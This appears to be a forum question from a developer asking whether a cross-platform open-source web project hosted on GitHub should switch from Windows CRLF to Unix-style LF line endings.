    What is the proper line-ending preferences for an open-source web project? Obviously it includes source code of PHP, HTML, CSS and Javascript. The source code is managing via Github now, and there are Windows (8 & 7), Linux (Ubuntu) and OSX developers inside the team, which means all the major operating systems. P.S. We are using "Windows" CRLF line-ending, plus "UTF-8 without BOM" right now, without facing any problem, however I think it might be better to use "*nix/OSX" LF style. I heard some stories about the problems that caused by the additional "CR" on Linux or OS X.

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